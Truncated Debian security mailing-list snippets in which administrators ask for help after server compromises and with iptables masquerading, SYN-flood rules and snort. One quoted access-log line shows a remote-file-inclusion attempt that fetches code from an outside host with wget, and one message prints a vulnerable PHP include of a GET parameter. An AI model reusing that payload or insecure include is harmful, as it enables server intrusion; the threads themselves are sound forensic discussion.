Re: help needed

2006-11-06 Thread Javier Fernández-Sanguino Peña
On Mon, Nov 06, 2006 at 11:19:20AM +0100, Heilig Szabolcs wrote: > Hello! > > >http://jesusch.de/~jesusch/tmp/access.log > > There are many log entries with "something=http://"; style > pattern. These are common attack methods against default configured > servers with poorly written applications.

Re: ***DEB*: Re: help needed

2006-11-06 Thread maximilian attems
On Mon, Nov 06, 2006 at 06:21:26PM +0100, Fuzzums wrote: > 213.215.135.124 - - [03/Nov/2006:17:26:03 +0100] "GET > http://85.214.18.193/manager/media/browser/mcpuk/connectors/php/Commands/Thumbnail.php?base_path=http://213.202.214.106/CMD.gif?&cmd=wget > HTTP/1.0" 403 495 > "http://85.214.18.193

Re: ***DEB*: Re: help needed

2006-11-06 Thread Bjoern Boschman
Hi Fuzzums, Fuzzums schrieb: 213.215.135.124 - - [03/Nov/2006:17:26:03 +0100] "GET http://85.214.18.193/manager/media/browser/mcpuk/connectors/php/Commands/Thumbnail.php?base_path=http://213.202.214.106/CMD.gif?&cmd=wget HTTP/1.0" 403 495 "http://85.214.18.193/manager/media/browser/mcpuk/conne

Re: ***DEB*: Re: help needed

2006-11-06 Thread Fuzzums
213.215.135.124 - - [03/Nov/2006:17:26:03 +0100] "GET http://85.214.18.193/manager/media/browser/mcpuk/connectors/php/Commands/Thumbnail.php?base_path=http://213.202.214.106/CMD.gif?&cmd=wget HTTP/1.0" 403 495 "http://85.214.18.193/manager/media/browser/mcpuk/connectors/php/Commands/Thumbnail.p

Re: help needed

2006-11-06 Thread Holger Schletz
Hi, > at that mentioned time someone at least tried to access pages which are > not accessable (index.php?img=1 e.g.) > > ther definately might be a problem in the code: > > if ( $_GET['page'] ) { > include $_GET['page'].'/index.php'; > } > > > could this be the vulnerable code segment?

Re: help needed

2006-11-06 Thread Heilig Szabolcs
Hello! http://jesusch.de/~jesusch/tmp/access.log There are many log entries with "something=http://"; style pattern. These are common attack methods against default configured servers with poorly written applications. Many of these rely on register_globals=on php.ini setting. Turn it off first

Re: help needed

2006-11-06 Thread Bjoern Boschman
I've putted access.log online with the following cutted off: grep -v "Googlebot/2.1" access.log.1| grep -v ^87.106.31.224|grep -v gallery|grep -v "Yahoo! Slurp"|grep -vi svn |grep -v mediawiki |grep -v "favicon.ico" http://jesusch.de/~jesusch/tmp/access.log at that mentioned time someone at l

Re: help needed

2006-11-06 Thread Arthur de Jong
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 As I'm not so aware could someone be so kind to help me with a forensic analysis? I also still do not know which program (propably any php-stuff) was/is vulnerable. All I've found so far where these entries in my apache2 error-log. http://jesusch

help needed

2006-11-06 Thread Bjoern Boschman
Hi list, My sarge box box was recently hacked by some script kiddy who installed an irc-dcc-filserver on it :/ As I'm not so aware could someone be so kind to help me with a forensic analysis? I also still do not know which program (propably any php-stuff) was/is vulnerable. All I've found so

RE: Help needed - server hacked twice in three days (and I don't think I'm a newbie)

2005-07-22 Thread Mathieu JANIN
---Message d'origine- De : Paolo Pedaletti [mailto:[EMAIL PROTECTED] Envoyé : vendredi 22 juillet 2005 11:32 À : debian-security@lists.debian.org Objet : Re: Help needed - server hacked twice in three days (and I don't think I'm a newbie) ciao Thomas Sjögren, > . Better pas

Re: Help needed - server hacked twice in three days (and I don't think I'm a newbie)

2005-07-22 Thread Christian Vanguers
Karsten Dambekalns wrote: Jul 19 03:07:30 ds217-115-141-24 sshd[27011]: Illegal user anton from 217.115.205.101 # whois 217.115.205.101 % This is the RIPE Whois query server #2. % The objects are in RPSL format. % % Note: the default output of the RIPE Whois server % is changed. Your tools

Re: Help needed - server hacked twice in three days (and I don't think I'm a newbie)

2005-07-22 Thread Paolo Pedaletti
ciao Thomas Sjögren, > . Better passwords like using libpam-cracklib and dcredit,ucredit,lcredit,ocredit options and... - send syslog (better syslog-ng) entries to a log-server - chroot LAMP - run nessus against the server - run snort on server - ... (what else?) If he had enough time, he

Re: Help needed - server hacked twice in three days (and I don't think I'm a newbie)

2005-07-21 Thread JM
I don't know what type of php applications you are using with apache, but with php I would recommend to use something like 'modsecurity' for apache, configuring modsecurity to your needs and have apache chrooted. For iptables, something like firehol can help you to setup iptables quickly. -- -J

Re: Help needed - server hacked twice in three days (and I don't think I'm a newbie)

2005-07-21 Thread Moritz Muehlenhoff
In gmane.linux.debian.devel.security, you wrote: > Now, I find it unlikely to see the same local root exploit in 2.4.18 and > 2.6.7. How did he gain root access? Are you sure it's 2.6.7 and not 2.6.8, the Sarge kernel? Anyway, there are several unfixed local privilege escalation security issues i

Re: Help needed - server hacked twice in three days (and I don't think I'm a newbie)

2005-07-21 Thread Karsten Dambekalns
Hi. On Friday 22 July 2005 00:00, Rob Sims wrote: > On Thu, Jul 21, 2005 at 11:49:53PM +0200, Karsten Dambekalns wrote: > > way? What is currently possible in that respect on a machien that runs > > ssh, apache, php, exim and nothing else (all as of Debian 3.1)? > > Didn't one of your logs show ov

Re: Help needed - server hacked twice in three days (and I don't think I'm a newbie)

2005-07-21 Thread Karsten Dambekalns
Hi. On Friday 22 July 2005 00:14, Ulf Harnhammar wrote: > On Thu, Jul 21, 2005 at 11:49:53PM +0200, Karsten Dambekalns wrote: > > way? What is currently possible in that respect on a machien that runs > > ssh, apache, > ^^ > >

Re: Help needed - server hacked twice in three days (and I don't think I'm a newbie)

2005-07-21 Thread Goswin von Brederlow
Goswin von Brederlow <[EMAIL PROTECTED]> writes: > Karsten Dambekalns <[EMAIL PROTECTED]> writes: > >> Hi. >> >> On Thursday 21 July 2005 20:31, Andras Got wrote: >>> The users, the ones the machines was hacked, were they existing users on >>> the machine? >> >> I don't know which user account got

Re: Help needed - server hacked twice in three days (and I don't think I'm a newbie)

2005-07-21 Thread Karsten Dambekalns
Hi. On Thursday 21 July 2005 22:52, Goswin von Brederlow wrote: > > I don't know which user account got hacked, if this was what has > > happened. > > Did you check the last lock? Maybe the attacker didn't remove the > traces there. He ran the mentioned logclean binary, the content of wtmp is not

Re: Help needed - server hacked twice in three days (and I don't think I'm a newbie)

2005-07-21 Thread Rob Sims
On Thu, Jul 21, 2005 at 11:49:53PM +0200, Karsten Dambekalns wrote: > Another question came up here. Is it really likely to be a SSH brute force > break in, or could the attacker have been able to log in some other way? What > is currently possible in that respect on a machien that runs ssh, apac

Re: Help needed - server hacked twice in three days (and I don't think I'm a newbie)

2005-07-21 Thread Karsten Dambekalns
Hi. On Thursday 21 July 2005 22:39, Andras Got wrote: > It's important to know whether it's an existing account, imho. Yes. It is, because if it's not, it's not about cracking passwords, but something else. Ugh. > >>Do you use AllowUsers or AllowGroup? > > > > No. I hate to admit I didn't know

Re: Help needed - server hacked twice in three days (and I don't think I'm a newbie)

2005-07-21 Thread Ulf Harnhammar
On Thu, Jul 21, 2005 at 11:49:53PM +0200, Karsten Dambekalns wrote: > Another question came up here. Is it really likely to be a SSH brute force > break in, or could the attacker have been able to log in some other way? What > is currently possible in that respect on a machien that runs ssh, apac

Re: Help needed - server hacked twice in three days (and I don't think I'm a newbie)

2005-07-21 Thread Karsten Dambekalns
Hi. Thanks for your reply! Another question came up here. Is it really likely to be a SSH brute force break in, or could the attacker have been able to log in some other way? What is currently possible in that respect on a machien that runs ssh, apache, php, exim and nothing else (all as of De

Re: Help needed - server hacked twice in three days (and I don't think I'm a newbie)

2005-07-21 Thread Goswin von Brederlow
Karsten Dambekalns <[EMAIL PROTECTED]> writes: > Hi. > > On Thursday 21 July 2005 20:31, Andras Got wrote: >> The users, the ones the machines was hacked, were they existing users on >> the machine? > > I don't know which user account got hacked, if this was what has happened. Did you check the l

Re: Help needed - server hacked twice in three days (and I don't think I'm a newbie)

2005-07-21 Thread Thomas Sjögren
On Thu, Jul 21, 2005 at 08:17:38PM +0200, Karsten Dambekalns wrote: > Now, I find it unlikely to see the same local root exploit in 2.4.18 and > 2.6.7. They are both old kernels, compile your own and apply suitable patches. Grsecurity is one, and it doesn't need any particular configuration. >

Re: Help needed - server hacked twice in three days (and I don't think I'm a newbie)

2005-07-21 Thread Andras Got
Hi, Karsten Dambekalns írta: Hi. On Thursday 21 July 2005 20:31, Andras Got wrote: The users, the ones the machines was hacked, were they existing users on the machine? I don't know which user account got hacked, if this was what has happened. It's important to know whether it's an exis

Re: Help needed - server hacked twice in three days (and I don't think I'm a newbie)

2005-07-21 Thread Karsten Dambekalns
Hi. On Thursday 21 July 2005 20:31, Andras Got wrote: > The users, the ones the machines was hacked, were they existing users on > the machine? I don't know which user account got hacked, if this was what has happened. > Do you use AllowUsers or AllowGroup? No. I hate to admit I didn't know tha

Help needed - server hacked twice in three days (and I don't think I'm a newbie)

2005-07-21 Thread Karsten Dambekalns
Hi. A server I take care of has been hacked twice in the last three days. It is running Debian GNU/Linux, obviously. I ask you for advice on how this happened, what happened, and what to do to avoid this. The first hack happened on Tuesday, the machine was runnign Debian 3.0 plus patches *but*

help needed urgently with hostlookup failure ..please

2004-03-08 Thread suhail
Hello people, I am having problems with connecting my RedHat Linux box to the internet. I cannot seem to be able to even ping any other machine on the network. I do > telnet localhost. I get >localhost: Host name lookup failure. I tried >telnet 127.0.0.1. It waits for some time and then says: t

help needed urgently with hostlookup failure ..please

2004-03-07 Thread suhail
Hello people, I am having problems with connecting my RedHat Linux box to the internet. I cannot seem to be able to even ping any other machine on the network. I do > telnet localhost. I get >localhost: Host name lookup failure. I tried >telnet 127.0.0.1. It waits for some time and then says: t

Re: help needed with firewall logging ..please

2004-02-10 Thread Michael Wood
On Mon, Feb 09, 2004 at 08:21:15PM -0800, Jeff wrote: > suhail, 2004-Feb-09 15:15 -0800: [snip] > > Now how do i actually find out if the packets are being dropped. > > i.e where shud I chk my system log files to see the dropped packets > > ... I mean which file is it n under which dir .. > > The

Re: help needed with firewall logging ..please

2004-02-10 Thread Michael Wood
On Mon, Feb 09, 2004 at 08:21:15PM -0800, Jeff wrote: > suhail, 2004-Feb-09 15:15 -0800: [snip] > > Now how do i actually find out if the packets are being dropped. > > i.e where shud I chk my system log files to see the dropped packets > > ... I mean which file is it n under which dir .. > > The

Re: help needed with firewall logging ..please

2004-02-09 Thread Jeff
suhail, 2004-Feb-09 15:15 -0800: > Hello, > I need to know how can a firewall be tested against a SYN Flooder. I > have the SYN flooder program and also configured my firewall. My > IPtables script against the SYN packets is the usual : > > > $IPTABLES -N syn-flood > > $IPTABLES -A syn-flood -m li

Re: help needed with firewall logging ..please

2004-02-09 Thread Jeff
suhail, 2004-Feb-09 15:15 -0800: > Hello, > I need to know how can a firewall be tested against a SYN Flooder. I > have the SYN flooder program and also configured my firewall. My > IPtables script against the SYN packets is the usual : > > > $IPTABLES -N syn-flood > > $IPTABLES -A syn-flood -m li

help needed with firewall logging ..please

2004-02-09 Thread suhail
Hello,I need to know how can a firewall be tested against a SYN Flooder. I have the SYN flooder program and also configured my firewall. My IPtables script against the SYN packets is the usual : > $IPTABLES -N syn-flood> $IPTABLES -A syn-flood -m limit --limit 50/s --limit-burst 104 -j RETURN> $I

help needed with firewall logging ..please

2004-02-09 Thread suhail
Hello,I need to know how can a firewall be tested against a SYN Flooder. I have the SYN flooder program and also configured my firewall. My IPtables script against the SYN packets is the usual : > $IPTABLES -N syn-flood> $IPTABLES -A syn-flood -m limit --limit 50/s --limit-burst 104 -j RETURN> $I

Re: Help needed on snort

2001-07-11 Thread Wouter van Gils
11 Jul, 2001, Luc MAIGNAN wrote in " Help needed on snort "] > Hi, > > I use (I would to ...) snort v1.7, but I don't succeed to use the scripts > given on the web site. Has anyone an example to let me understand what to do ? > > Best regards > > > -- &

Help needed on snort

2001-07-11 Thread Luc MAIGNAN
Hi, I use (I would to ...) snort v1.7, but I don't succeed to use the scripts given on the web site. Has anyone an example to let me understand what to do ? Best regards

Re: Help needed on snort

2001-07-11 Thread Wouter van Gils
11 Jul, 2001, Luc MAIGNAN wrote in " Help needed on snort "] > Hi, > > I use (I would to ...) snort v1.7, but I don't succeed to use the scripts > given on the web site. Has anyone an example to let me understand what to do ? > > Best regards > > > -- &

Help needed on snort

2001-07-11 Thread Luc MAIGNAN
Hi, I use (I would to ...) snort v1.7, but I don't succeed to use the scripts given on the web site. Has anyone an example to let me understand what to do ? Best regards -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]

Re: Help needed on MASQUERADE

2001-06-07 Thread Jose Celestino
On Sun, Jun 03, 2001 at 11:39:29PM +0200, Luc MAIGNAN wrote: > HI all, > > I have an internet connection on eth0 (10.0.0.1) and a private network > connection on eth1 (192.168.0.1). > > I put the masquerade configuration on a kernel 2.4.4 : > > iptables -t nat -s 192.168.0.0/24 -o ppp0 -

Re: Help needed on MASQUERADE

2001-06-04 Thread Jose Celestino
On Sun, Jun 03, 2001 at 11:39:29PM +0200, Luc MAIGNAN wrote: > HI all, > > I have an internet connection on eth0 (10.0.0.1) and a private network > connection on eth1 (192.168.0.1). > > I put the masquerade configuration on a kernel 2.4.4 : > > iptables -t nat -s 192.168.0.0/24 -o ppp0

Re: Help needed on MASQUERADE

2001-06-03 Thread Ian Miller
you need to set it to eth0 not ppp0 - Original Message - From: Luc MAIGNAN <[EMAIL PROTECTED]> To: Cc: ; <[EMAIL PROTECTED]@lists.debian.org> Sent: Monday, June 04, 2001 7:39 AM Subject: Help needed on MASQUERADE > HI all, > > I have an internet connection on

Re: Help needed on MASQUERADE

2001-06-03 Thread Ian Miller
you need to set it to eth0 not ppp0 - Original Message - From: Luc MAIGNAN <[EMAIL PROTECTED]> To: <[EMAIL PROTECTED]> Cc: ; <[EMAIL PROTECTED]@lists.debian.org> Sent: Monday, June 04, 2001 7:39 AM Subject: Help needed on MASQUERADE > HI all, > > I have an

Re: Help needed on MASQUERADE

2001-06-03 Thread Robert Magier
> iptables -t nat -s 192.168.0.0/24 -o ppp0 -j MASQUERADE > echo 1>/proc/sys/net/ipv4/ip_forward This wouldn't work at all. You have to write iptables -t nat -I POSTROUTING -s 192.168.0.0/24 -o ppp0 -j MASQUARADE echo 1>/proc/sys/net/ipv4/ip_forward -- [EMAIL PROTECTED] ROBERT MAG

Re: Help needed on MASQUERADE

2001-06-03 Thread John McCullough
you need to send it through eth0 not ppp0 [EMAIL PROTECTED] wrote: On Sun, Jun 03, 2001 at 11:39:29PM +0200, Luc MAIGNAN wrote: iptables -t nat -s 192.168.0.0/24 -o ppp0 -j MASQUERADE echo 1>/proc/sys/net/ipv4/ip_forward A workstation on my network succeeded to ping both eth0

Re: Help needed on MASQUERADE

2001-06-03 Thread yoros
On Sun, Jun 03, 2001 at 11:39:29PM +0200, Luc MAIGNAN wrote: > iptables -t nat -s 192.168.0.0/24 -o ppp0 -j MASQUERADE > echo 1>/proc/sys/net/ipv4/ip_forward > A workstation on my network succeeded to ping both eth0 and eth1, but didn't > succeed to go out of my network to reach the i

Re: Help needed on MASQUERADE

2001-06-03 Thread Alson van der Meulen
On Sun, Jun 03, 2001 at 11:39:29PM +0200, Luc MAIGNAN wrote: > HI all, > > I have an internet connection on eth0 (10.0.0.1) and a private network > connection on eth1 (192.168.0.1). > > I put the masquerade configuration on a kernel 2.4.4 : > > iptables -t nat -s 192.168.0.0/24 -o ppp0 -

Help needed on MASQUERADE

2001-06-03 Thread Luc MAIGNAN
HI all, I have an internet connection on eth0 (10.0.0.1) and a private network connection on eth1 (192.168.0.1). I put the masquerade configuration on a kernel 2.4.4 : iptables -t nat -s 192.168.0.0/24 -o ppp0 -j MASQUERADE echo 1>/proc/sys/net/ipv4/ip_forward A workstation on

Re: Help needed on MASQUERADE

2001-06-03 Thread Robert Magier
> iptables -t nat -s 192.168.0.0/24 -o ppp0 -j MASQUERADE > echo 1>/proc/sys/net/ipv4/ip_forward This wouldn't work at all. You have to write iptables -t nat -I POSTROUTING -s 192.168.0.0/24 -o ppp0 -j MASQUARADE echo 1>/proc/sys/net/ipv4/ip_forward -- [EMAIL PROTECTED] ROBERT MA

Re: Help needed on MASQUERADE

2001-06-03 Thread John McCullough
you need to send it through eth0 not ppp0 [EMAIL PROTECTED] wrote: >On Sun, Jun 03, 2001 at 11:39:29PM +0200, Luc MAIGNAN wrote: > >> iptables -t nat -s 192.168.0.0/24 -o ppp0 -j MASQUERADE >> echo 1>/proc/sys/net/ipv4/ip_forward >> >>A workstation on my network succeeded to ping both

Re: Help needed on MASQUERADE

2001-06-03 Thread yoros
On Sun, Jun 03, 2001 at 11:39:29PM +0200, Luc MAIGNAN wrote: > iptables -t nat -s 192.168.0.0/24 -o ppp0 -j MASQUERADE > echo 1>/proc/sys/net/ipv4/ip_forward > A workstation on my network succeeded to ping both eth0 and eth1, but didn't > succeed to go out of my network to reach the

Re: Help needed on MASQUERADE

2001-06-03 Thread Alson van der Meulen
On Sun, Jun 03, 2001 at 11:39:29PM +0200, Luc MAIGNAN wrote: > HI all, > > I have an internet connection on eth0 (10.0.0.1) and a private network > connection on eth1 (192.168.0.1). > > I put the masquerade configuration on a kernel 2.4.4 : > > iptables -t nat -s 192.168.0.0/24 -o ppp0

Help needed on MASQUERADE

2001-06-03 Thread Luc MAIGNAN
HI all, I have an internet connection on eth0 (10.0.0.1) and a private network connection on eth1 (192.168.0.1). I put the masquerade configuration on a kernel 2.4.4 : iptables -t nat -s 192.168.0.0/24 -o ppp0 -j MASQUERADE echo 1>/proc/sys/net/ipv4/ip_forward A workstation o